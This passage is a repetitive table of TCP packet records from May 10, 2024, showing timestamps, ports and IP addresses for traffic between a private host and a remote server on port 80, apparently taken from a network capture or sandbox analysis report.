May 10, 2024 09:20:58.266081095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266084909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266098022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266103983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266110897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266123056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266128063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266135931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266144037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266146898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266158104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266169071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266170025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266181946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266200066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266211033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266211987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266226053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266226053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266239882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266242981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266254902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266264915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266268015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266280890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266285896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266293049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266302109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266305923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266313076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266319036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266330957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266330957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266344070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266354084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266356945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266370058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266377926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266382933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266393900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266395092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266407967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266418934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266427040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266438007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266438007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266453028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266460896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266465902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266478062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266484976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266489983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266498089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266505003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266518116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266522884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266530991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266541958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266546011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266555071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266563892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266566992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266578913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266586065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266592026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266603947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266612053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266614914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266625881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266628027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266640902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266649008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266653061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266664982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266673088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266675949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266688108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266689062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266700029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266710997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266711950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266726017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266736984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266747952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266750097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266760111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266768932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266772985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266784906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266784906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266797066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266808033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266808987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266819954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266830921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266830921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266844034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266845942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266855955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266866922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266869068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266882896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266891003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266894102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266906023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266911983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266916990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266930103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266930103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266942978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266952991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266953945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266966105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266968012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266979933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.266988993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.266992092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267004967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267014980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267015934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267030001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267040014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267040968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267054081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267056942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267066956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267072916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267080069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267091036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267098904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267106056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267117023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267117023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267129898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267139912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267143011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267154932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267163992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267167091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267179012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267179012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267189980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267201900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267201900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267214060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267225981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267226934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267239094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267251015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267258883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267262936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267271996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267276049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267286062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267288923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267301083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267308950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267313004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267327070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267337084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267338037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267349005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267350912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267364025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267370939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267374992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267386913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267395020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267399073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267410040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267410994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267421961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267432928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267433882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267446995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267456055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267460108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267469883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267473936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267487049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267493010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267499924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267513037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267518044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267524958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267529011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267538071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267549038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267553091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267560959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267571926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267575026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267584085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267595053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267596006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267606974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267618895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267618895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267632961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267640114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267644882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267654896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267656088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267673969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267677069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267685890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267699003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267699957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267710924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267714024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267724037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267735004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267735004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267745972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267757893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267766953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267770052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267781973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267791033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267793894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267807007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267807961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267818928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267828941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267832041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267844915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267853022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267857075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267868996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267868996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267875910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267887115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267895937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267898083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267910004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267918110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267921925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267932892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267934084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267946005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267957926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267959118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267971039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267978907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267982960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.267993927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.267996073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268007994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268018961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268028975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268028975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268042088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268052101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268054962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268066883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268069029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268078089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268081903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268090010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268107891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268121004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268127918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268127918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268135071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268148899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268152952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268161058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268172979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268174887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268184900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268189907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268197060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268210888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268214941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268224001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268234968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268239975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268245935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268258095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268264055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268269062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268281937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268289089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268295050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268301964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268312931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268325090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268326044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268337011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268342018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268351078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268362999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268364906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268376112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268379927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268388033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268400908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268402100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268413067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268423080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268424988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268438101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268450022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268461943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268462896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268475056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268486977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268487930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268500090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268505096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268513918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268520117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268526077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268537998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268543959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268548965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268562078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268569946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268574953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268582106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268587112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268598080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268609047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268609047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268624067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268632889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268635988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268646002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268649101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268661022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268668890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268671989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268683910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268692970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268697023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268706083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268708944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268721104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268729925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268733978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268745899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268754005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268758059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268767118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268770933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268781900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.268791914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.268793106 CEST	80	49754	34.68.151.162	192.168.2.4
